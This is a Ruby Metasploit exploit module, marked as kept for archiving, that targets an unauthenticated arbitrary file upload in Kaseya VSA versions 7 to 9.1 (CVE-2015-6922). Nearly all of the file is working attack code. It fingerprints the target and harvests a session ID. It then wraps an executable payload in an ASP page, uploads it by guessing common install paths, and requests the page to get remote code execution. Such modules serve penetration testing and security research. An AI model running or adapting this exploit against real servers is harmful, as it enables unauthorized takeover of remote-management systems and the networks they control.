##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
      'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions between
7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary directory
leading to arbitrary code execution with IUSR privileges. This module has been tested with
Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
},
      'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2015-6922'],
          ['ZDI', '15-449'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
          ['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
        ],
      'Platform' => 'win',
      'Arch' => ARCH_X86,
      'Privileged' => false,
      'Targets' =>
        [
          [ 'Kaseya VSA v7 to v9.1', {} ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 23 2015'))
  end


  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('ConfigTab','uploader.aspx')
    })
    if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Unknown
    end
  end


  def upload_file(payload, path, filename, sessionId)
    print_status("#{peer} - Uploading payload to #{path + 'WebPages\\'}...")
    res = send_request_cgi({
      "method" => "POST",
      'uri' => normalize_uri('ConfigTab','uploader.aspx'),
      "vars_get" => {
        "PathData" => path + 'WebPages' + '\\',
        "qqfile" => filename
      },
      "data" => payload,
      "ctype" => "application/octet-stream",
      "cookie" => "sessionId=" + sessionId
    })

    if res and res.code == 200 and res.body.to_s =~ /"success": "true"/
      return true
    else
      return false
    end
  end


  def exploit
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('ConfigTab','uploader.aspx')
    })
    if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
      sessionId = $1

      asp_name = "#{rand_text_alpha_lower(8)}.asp"
      exe = generate_payload_exe
      payload = Msf::Util::EXE.to_exe_asp(exe).to_s

      paths = [
        # We have to guess the path, so just try the most common directories
        'C:\\Kaseya\\',
        'C:\\Program Files\\Kaseya\\',
        'C:\\Program Files (x86)\\Kaseya\\',
        'D:\\Kaseya\\',
        'D:\\Program Files\\Kaseya\\',
        'D:\\Program Files (x86)\\Kaseya\\',
        'E:\\Kaseya\\',
        'E:\\Program Files\\Kaseya\\',
        'E:\\Program Files (x86)\\Kaseya\\',
      ]

      for path in paths
        if upload_file(payload, path, asp_name, sessionId)
          register_files_for_cleanup(path + "WebPages\\" + asp_name)
          print_status("#{peer} - Executing payload #{asp_name}")
          res = send_request_cgi({
            'uri' => normalize_uri(asp_name),
            'method' => 'GET'
          })
          handler
          break
        end
      end
    else
      fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
    end
  end
end
